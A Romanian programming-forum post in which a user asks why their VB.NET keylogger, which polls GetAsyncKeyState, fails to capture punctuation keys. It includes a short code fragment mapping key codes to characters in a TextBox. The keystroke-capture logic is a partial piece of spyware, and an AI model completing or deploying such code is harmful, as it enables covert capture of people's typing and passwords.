nu-mi merge o dracovenie VB .net

[maryus02]

incerc sa fac chipurile un keylogger, dar nu pot sa retin caracterele: `~[]\=-_+|/.,?>< si cam atat cred. restul imi merg. Asta e o parte din cod:

If x = -32767 And (i > 90 And i < 97) Then

Select Case i

Case 91 : TextBox1.Text = TextBox1.Text & IIf(shift = 32768, "{", "[")

Case 92 : TextBox1.Text = TextBox1.Text & IIf(shift = 32768, "|", "\")

Case 93 : TextBox1.Text = TextBox1.Text & IIf(shift = 32768, "}", "]")

Case 94 : TextBox1.Text = TextBox1.Text & IIf(shift = 32768, "^", "6")

Case 95 : TextBox1.Text = TextBox1.Text & IIf(shift = 32768, "_", "-")

Case 96 : TextBox1.Text = TextBox1.Text & IIf(shift = 32768, "~", "`")

End Select

End If

I-am pus si niste breakpointuri ca sa vad care e treaba cu variabilele si se pare ca la astfel de caractere, de exemplu: x = GetAsyncKeyState(i) , x se face 0, cu toate ca eu apas una din tastele astea, deci normal ar trebui sa se faca -32767.

Am verificat majoritatea caracterelor cu functia Chr(nr) si asa imi dau cum trebuie. Sa aiba vreo legatura cu modelul tastaturii sau cu versiunea windowsului sau din cauza ca lucrez in VB studio 2005 ?